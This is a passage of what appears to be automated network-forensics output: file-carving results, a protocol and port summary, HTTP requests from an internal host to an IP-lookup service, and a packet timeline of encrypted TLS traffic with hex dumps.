72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 30 39 2e 37 30 2e 31 30 30 2e 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e\n2026-04-29T10:06:00.619299,Tool:foremost/htm,Unknown,0,Unknown,0,HTTP,00000046.htm,htm,/tmp/tmpwn4kjrh9/carved/foremost/htm/00000046.htm,102,b8c1871df1db301bcf6ebb1689804f1d,820f36c385ab877d7e5a7509cf7e10f0126d09e35669850e571fe2b579d406da,4.67,<html><head><title>Current IP Check</title></head><body>Current IP Address: 109.70.100.6</body></html>,3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 30 39 2e 37 30 2e 31 30 30 2e 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e\n2026-04-29T10:06:00.625149,Tool:scalpel/gif-3-0,Unknown,0,Unknown,0,HTTP,00000009.gif,gif,/tmp/tmpwn4kjrh9/carved/scalpel/gif-3-0/00000009.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-04-29T10:06:00.625149,Tool:scalpel/gif-3-0,Unknown,0,Unknown,0,HTTP,00000000.gif,gif,/tmp/tmpwn4kjrh9/carved/scalpel/gif-3-0/00000000.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-04-29T10:06:00.625149,Tool:scalpel/gif-3-0,Unknown,0,Unknown,0,HTTP,00000007.gif,gif,/tmp/tmpwn4kjrh9/carved/scalpel/gif-3-0/00000007.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-04-29T10:06:00.625149,Tool:scalpel/gif-3-0,Unknown,0,Unknown,0,HTTP,00000008.gif,gif,/tmp/tmpwn4kjrh9/carved/scalpel/gif-3-0/00000008.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-04-29T10:06:00.625149,Tool:scalpel/gif-3-0,Unknown,0,Unknown,0,HTTP,00000001.gif,gif,/tmp/tmpwn4kjrh9/carved/scalpel/gif-3-0/00000001.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-04-29T10:06:00.625149,Tool:scalpel/gif-3-0,Unknown,0,Unknown,0,HTTP,00000004.gif,gif,/tmp/tmpwn4kjrh9/carved/scalpel/gif-3-0/00000004.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-04-29T10:06:00.625149,Tool:scalpel/gif-3-0,Unknown,0,Unknown,0,HTTP,00000003.gif,gif,/tmp/tmpwn4kjrh9/carved/scalpel/gif-3-0/00000003.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-04-29T10:06:00.625149,Tool:scalpel/gif-3-0,Unknown,0,Unknown,0,HTTP,00000002.gif,gif,/tmp/tmpwn4kjrh9/carved/scalpel/gif-3-0/00000002.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-04-29T10:06:00.625149,Tool:scalpel/gif-3-0,Unknown,0,Unknown,0,HTTP,00000006.gif,gif,/tmp/tmpwn4kjrh9/carved/scalpel/gif-3-0/00000006.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-04-29T10:06:00.625149,Tool:scalpel/gif-3-0,Unknown,0,Unknown,0,HTTP,00000005.gif,gif,/tmp/tmpwn4kjrh9/carved/scalpel/gif-3-0/00000005.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-04-29T10:06:00.625149,Tool:scalpel/gif-4-0,Unknown,0,Unknown,0,HTTP,00000019.gif,gif,/tmp/tmpwn4kjrh9/carved/scalpel/gif-4-0/00000019.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-04-29T10:06:00.625149,Tool:scalpel/gif-4-0,Unknown,0,Unknown,0,HTTP,00000011.gif,gif,/tmp/tmpwn4kjrh9/carved/scalpel/gif-4-0/00000011.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-04-29T10:06:00.625149,Tool:scalpel/gif-4-0,Unknown,0,Unknown,0,HTTP,00000018.gif,gif,/tmp/tmpwn4kjrh9/carved/scalpel/gif-4-0/00000018.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-04-29T10:06:00.625149,Tool:scalpel/gif-4-0,Unknown,0,Unknown,0,HTTP,00000014.gif,gif,/tmp/tmpwn4kjrh9/carved/scalpel/gif-4-0/00000014.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-04-29T10:06:00.625149,Tool:scalpel/gif-4-0,Unknown,0,Unknown,0,HTTP,00000010.gif,gif,/tmp/tmpwn4kjrh9/carved/scalpel/gif-4-0/00000010.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-04-29T10:06:00.625149,Tool:scalpel/gif-4-0,Unknown,0,Unknown,0,HTTP,00000013.gif,gif,/tmp/tmpwn4kjrh9/carved/scalpel/gif-4-0/00000013.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-04-29T10:06:00.625149,Tool:scalpel/gif-4-0,Unknown,0,Unknown,0,HTTP,00000016.gif,gif,/tmp/tmpwn4kjrh9/carved/scalpel/gif-4-0/00000016.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-04-29T10:06:00.625149,Tool:scalpel/gif-4-0,Unknown,0,Unknown,0,HTTP,00000012.gif,gif,/tmp/tmpwn4kjrh9/carved/scalpel/gif-4-0/00000012.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-04-29T10:06:00.625149,Tool:scalpel/gif-4-0,Unknown,0,Unknown,0,HTTP,00000015.gif,gif,/tmp/tmpwn4kjrh9/carved/scalpel/gif-4-0/00000015.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-04-29T10:06:00.625149,Tool:scalpel/gif-4-0,Unknown,0,Unknown,0,HTTP,00000017.gif,gif,/tmp/tmpwn4kjrh9/carved/scalpel/gif-4-0/00000017.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n","network_analysis_protocols.csv":"Protocol,Packets,Bytes,Packet %,Byte %\nTCP,212,30392,100.00%,100.00%\n","network_analysis_http_graph.csv":"Timestamp,Stream ID,Source IP,Destination IP,Method,Host,URL,Referer,User-Agent\n0,2,192.168.122.168,132.226.247.73,GET,checkip.dyndns.org,http://checkip.dyndns.org,None,Extracted via Decryption\n0,2,192.168.122.168,132.226.247.73,GET,checkip.dyndns.org,http://checkip.dyndns.org,None,Extracted via Decryption\n0,2,192.168.122.168,132.226.247.73,GET,checkip.dyndns.org,http://checkip.dyndns.org,None,Extracted via Decryption\n0,2,192.168.122.168,132.226.247.73,GET,checkip.dyndns.org,http://checkip.dyndns.org,None,Extracted via Decryption\n0,2,192.168.122.168,132.226.247.73,GET,checkip.dyndns.org,http://checkip.dyndns.org,None,Extracted via Decryption\n0,2,192.168.122.168,132.226.247.73,GET,checkip.dyndns.org,http://checkip.dyndns.org,None,Extracted via Decryption\n0,2,192.168.122.168,132.226.247.73,GET,checkip.dyndns.org,http://checkip.dyndns.org,None,Extracted via Decryption\n0,2,192.168.122.168,132.226.247.73,GET,checkip.dyndns.org,http://checkip.dyndns.org,None,Extracted via Decryption\n0,2,192.168.122.168,132.226.247.73,GET,checkip.dyndns.org,http://checkip.dyndns.org,None,Extracted via Decryption\n0,2,192.168.122.168,132.226.247.73,GET,checkip.dyndns.org,http://checkip.dyndns.org,None,Extracted via Decryption\n","network_analysis_ports.csv":"Port,Packets,Bytes,Packet %,Byte %\n443,157,22923,37.03%,37.71%\n50100,47,6906,11.08%,11.36%\n80,47,6906,11.08%,11.36%\n50120,18,6667,4.25%,10.97%\n50104,14,4018,3.30%,6.61%\n49899,9,1278,2.12%,2.10%\n49892,9,2470,2.12%,4.06%\n50113,9,825,2.12%,1.36%\n50107,8,771,1.89%,1.27%\n50111,8,771,1.89%,1.27%\n50112,8,771,1.89%,1.27%\n50115,8,771,1.89%,1.27%\n50117,8,771,1.89%,1.27%\n50118,8,771,1.89%,1.27%\n50119,8,771,1.89%,1.27%\n50121,8,563,1.89%,0.93%\n587,8,563,1.89%,0.93%\n49957,7,378,1.65%,0.62%\n49956,7,378,1.65%,0.62%\n49955,7,378,1.65%,0.62%\n49687,7,378,1.65%,0.62%\n49958,7,378,1.65%,0.62%\n49954,7,378,1.65%,0.62%\n","packet_forensic_timeline.csv":"Timestamp_UTC,Packet_Num,Flow_ID,Src_IP,Dst_IP,Src_Port,Dst_Port,Protocol,Src_Country,Src_City,Src_ASN,Src_AS_Org,Src_Lat,Src_Lon,Src_Network,Dst_Country,Dst_City,Dst_ASN,Dst_AS_Org,Dst_Lat,Dst_Lon,Dst_Network,TCP_Flags,DNS_Query,HTTP_Url,Protocol_Stack,Layer_Depth,Description,Packet_Content(Hex),Packet_Content,Alerts,Complete_Dissection\n2026-04-28 18:21:43.554304,1,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3881783804 Ack=1692602478,525400577f945254007bb79208004500008bb6fd40008006e959c0a87aa804d519f0c2eb01bbe75f51fc64e3106e501804055a930000170303005e0000000000000007b53f31508341fcdc28be147f2c7379aea49a21a6e7b2682de408581817ae4a3bb6c743daed53db5b255727366006505c06871c1dfdd19263c7ac00bcd8a87ddd1ff7b6e73a0a85833c638c765edf02ca06838251188d,\"RT.W..RT.{....E.....@....Y..z.........._Q.d..nP...Z.......^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\",[TSHARK-OBJECT] %2f; [TSHARK-OBJECT] %2f(7); [TSHARK-OBJECT] %2f(5); [TSHARK-OBJECT] %2f(6); [TSHARK-OBJECT] %2f(1); [TSHARK-OBJECT] %2f(4); [TSHARK-OBJECT] %2f(9); [TSHARK-OBJECT] %2f(3); [TSHARK-OBJECT] %2f(2); [TSHARK-OBJECT] %2f(8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 139, \"\"id\"\": 46845, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59737, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783804, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1029, \"\"chksum\"\": 23187, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 94, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07\\\\xb5?1P\\\\x83A\\\\xfc\\\\xdc(\\\\xbe\\\\x14\\\\x7f,sy\\\\xae\\\\xa4\\\\x9a!\\\\xa6\\\\xe7\\\\xb2h-\\\\xe4\\\\x08X\\\\x18\\\\x17\\\\xaeJ;\\\\xb6\\\\xc7C\\\\xda\\\\xedS\\\\xdb[%W'6`\\\\x06P\\\\\\\\\\\\x06\\\\x87\\\\x1c\\\\x1d\\\\xfd\\\\xd1\\\\x92c\\\\xc7\\\\xac\\\\x00\\\\xbc\\\\xd8\\\\xa8}\\\\xdd\\\\x1f\\\\xf7\\\\xb6\\\\xe7:\\\\n\\\\x85\\\\x83<c\\\\x8cv^\\\\xdf\\\\x02\\\\xca\\\\x06\\\\x83\\\\x82Q\\\\x18\\\\x8d\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-28 18:21:43.855678,2,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3881783804 Ack=1692602478,525400577f945254007bb79208004500008bb6fe40008006e958c0a87aa804d519f0c2eb01bbe75f51fc64e3106e501804055a930000170303005e0000000000000007b53f31508341fcdc28be147f2c7379aea49a21a6e7b2682de408581817ae4a3bb6c743daed53db5b255727366006505c06871c1dfdd19263c7ac00bcd8a87ddd1ff7b6e73a0a85833c638c765edf02ca06838251188d,\"RT.W..RT.{....E.....@....X..z.........._Q.d..nP...Z.......^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 139, \"\"id\"\": 46846, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59736, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783804, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1029, \"\"chksum\"\": 23187, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 94, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07\\\\xb5?1P\\\\x83A\\\\xfc\\\\xdc(\\\\xbe\\\\x14\\\\x7f,sy\\\\xae\\\\xa4\\\\x9a!\\\\xa6\\\\xe7\\\\xb2h-\\\\xe4\\\\x08X\\\\x18\\\\x17\\\\xaeJ;\\\\xb6\\\\xc7C\\\\xda\\\\xedS\\\\xdb[%W'6`\\\\x06P\\\\\\\\\\\\x06\\\\x87\\\\x1c\\\\x1d\\\\xfd\\\\xd1\\\\x92c\\\\xc7\\\\xac\\\\x00\\\\xbc\\\\xd8\\\\xa8}\\\\xdd\\\\x1f\\\\xf7\\\\xb6\\\\xe7:\\\\n\\\\x85\\\\x83<c\\\\x8cv^\\\\xdf\\\\x02\\\\xca\\\\x06\\\\x83\\\\x82Q\\\\x18\\\\x8d\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-28 18:21:44.465033,3,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3881783804 Ack=1692602478,525400577f945254007bb79208004500008bb6ff40008006e957c0a87aa804d519f0c2eb01bbe75f51fc64e3106e501804055a930000170303005e0000000000000007b53f31508341fcdc28be147f2c7379aea49a21a6e7b2682de408581817ae4a3bb6c743daed53db5b255727366006505c06871c1dfdd19263c7ac00bcd8a87ddd1ff7b6e73a0a85833c638c765edf02ca06838251188d,\"RT.W..RT.{....E.....@....W..z.........._Q.d..nP...Z.......^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 139, \"\"id\"\": 46847, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59735, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783804, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1029, \"\"chksum\"\": 23187, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 94, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07\\\\xb5?1P\\\\x83A\\\\xfc\\\\xdc(\\\\xbe\\\\x14\\\\x7f,sy\\\\xae\\\\xa4\\\\x9a!\\\\xa6\\\\xe7\\\\xb2h-\\\\xe4\\\\x08X\\\\x18\\\\x17\\\\xaeJ;\\\\xb6\\\\xc7C\\\\xda\\\\xedS\\\\xdb[%W'6`\\\\x06P\\\\\\\\\\\\x06\\\\x87\\\\x1c\\\\x1d\\\\xfd\\\\xd1\\\\x92c\\\\xc7\\\\xac\\\\x00\\\\xbc\\\\xd8\\\\xa8}\\\\xdd\\\\x1f\\\\xf7\\\\xb6\\\\xe7:\\\\n\\\\x85\\\\x83<c\\\\x8cv^\\\\xdf\\\\x02\\\\xca\\\\x06\\\\x83\\\\x82Q\\\\x18\\\\x8d\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-28 18:21:45.668260,4,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3881783804 Ack=1692602478,525400577f945254007bb79208004500008bb700000080062957c0a87aa804d519f0c2eb01bbe75f51fc64e3106e501804055a930000170303005e0000000000000007b53f31508341fcdc28be147f2c7379aea49a21a6e7b2682de408581817ae4a3bb6c743daed53db5b255727366006505c06871c1dfdd19263c7ac00bcd8a87ddd1ff7b6e73a0a85833c638c765edf02ca06838251188d,\"RT.W..RT.{....E.........)W..z.........._Q.d..nP...Z.......^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 139, \"\"id\"\": 46848, \"\"flags\"\": \"\"\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 10583, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783804, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1029, \"\"chksum\"\": 23187, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 94, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07\\\\xb5?1P\\\\x83A\\\\xfc\\\\xdc(\\\\xbe\\\\x14\\\\x7f,sy\\\\xae\\\\xa4\\\\x9a!\\\\xa6\\\\xe7\\\\xb2h-\\\\xe4\\\\x08X\\\\x18\\\\x17\\\\xaeJ;\\\\xb6\\\\xc7C\\\\xda\\\\xedS\\\\xdb[%W'6`\\\\x06P\\\\\\\\\\\\x06\\\\x87\\\\x1c\\\\x1d\\\\xfd\\\\xd1\\\\x92c\\\\xc7\\\\xac\\\\x00\\\\xbc\\\\xd8\\\\xa8}\\\\xdd\\\\x1f\\\\xf7\\\\xb6\\\\xe7:\\\\n\\\\x85\\\\x83<c\\\\x8cv^\\\\xdf\\\\x02\\\\xca\\\\x06\\\\x83\\\\x82Q\\\\x18\\\\x8d\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-28 18:21:45.895441,5,TCP 192.168.122.168:49892 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49892,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3334411157 Ack=1369756557,525400577f945254007bb792080045000120b70140008006e8c0c0a87aa804d519f0c2e401bbc6bf139551a4d38d501804045b28000017030300f30000000000000009b6181eed91be740eaba4bf0aeb2569c3b7985720e33bf054bd78109fd5c6d9a1c834fc1b078e2ee824ed03ce36c87b082e68e9c031b2e00ef7ce30f68693c26d5da92125ed83afd256f4616107fe37c8becf019f5a717fdced5325dcbf0647c16ff4231009f316895d38239c90c40d298f461ab61c30c98bf602b25ede2297265a953bc66b932e37efe45c7f7d091de46099e7c1c56580552a13c8c84e7adf356e7fb0aac6fb739d5c579e9c49755ec8f2ad349a1cda08b5ca25bc47a43dbb3a73a8cfcb35e06859b1fd7823bc058482b6d1324b26ba3193ecf5ddab2d313dacec1a67188a79274fbf353a,\"RT.W..RT.{....E.. ..@.......z.............Q...P...[(..............\t......t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....m].!%....V.aa..7.....Zq...S%...G.o.#.\t...]8#...\n).F...0.....^.\"\".&Z.;.k..7..\\.}\t..`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1.....-1=...g..y'O.5:\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 288, \"\"id\"\": 46849, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59584, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49892, \"\"dport\"\": 443, \"\"seq\"\": 3334411157, \"\"ack\"\": 1369756557, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1028, \"\"chksum\"\": 23336, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 243, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\t\\\\xb6\\\\x18\\\\x1e\\\\xed\\\\x91\\\\xbet\\\\x0e\\\\xab\\\\xa4\\\\xbf\\\\n\\\\xeb%i\\\\xc3\\\\xb7\\\\x98W \\\\xe3;\\\\xf0T\\\\xbdx\\\\x10\\\\x9f\\\\xd5\\\\xc6\\\\xd9\\\\xa1\\\\xc84\\\\xfc\\\\x1b\\\\x07\\\\x8e.\\\\xe8$\\\\xed\\\\x03\\\\xce6\\\\xc8{\\\\x08.h\\\\xe9\\\\xc01\\\\xb2\\\\xe0\\\\x0e\\\\xf7\\\\xce0\\\\xf6\\\\x86\\\\x93\\\\xc2m]\\\\xa9!%\\\\xed\\\\x83\\\\xaf\\\\xd2V\\\\xf4aa\\\\x07\\\\xfe7\\\\xc8\\\\xbe\\\\xcf\\\\x01\\\\x9fZq\\\\x7f\\\\xdc\\\\xedS%\\\\xdc\\\\xbf\\\\x06G\\\\xc1o\\\\xf4#\\\\x10\\\\t\\\\xf3\\\\x16\\\\x89]8#\\\\x9c\\\\x90\\\\xc4\\\\r)\\\\x8fF\\\\x1a\\\\xb6\\\\x1c0\\\\xc9\\\\x8b\\\\xf6\\\\x02\\\\xb2^\\\\xde\\\"\"\\\\x97&Z\\\\x95;\\\\xc6k\\\\x93.7\\\\xef\\\\xe4\\\\\\\\\\\\x7f}\\\\t\\\\x1d\\\\xe4`\\\\x99\\\\xe7\\\\xc1\\\\xc5e\\\\x80U*\\\\x13\\\\xc8\\\\xc8Nz\\\\xdf5n\\\\x7f\\\\xb0\\\\xaa\\\\xc6\\\\xfbs\\\\x9d\\\\\\\\W\\\\x9e\\\\x9cIu^\\\\xc8\\\\xf2\\\\xad4\\\\x9a\\\\x1c\\\\xda\\\\x08\\\\xb5\\\\xca%\\\\xbcG\\\\xa4=\\\\xbb:s\\\\xa8\\\\xcf\\\\xcb5\\\\xe0hY\\\\xb1\\\\xfdx#\\\\xbc\\\\x05\\\\x84\\\\x82\\\\xb6\\\\xd12K&\\\\xba1\\\\x93\\\\xec\\\\xf5\\\\xdd\\\\xab-1=\\\\xac\\\\xec\\\\x1ag\\\\x18\\\\x8ay\\\\'O\\\\xbf5:' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-28 18:21:46.199361,6,TCP 192.168.122.168:49892 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49892,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3334411157 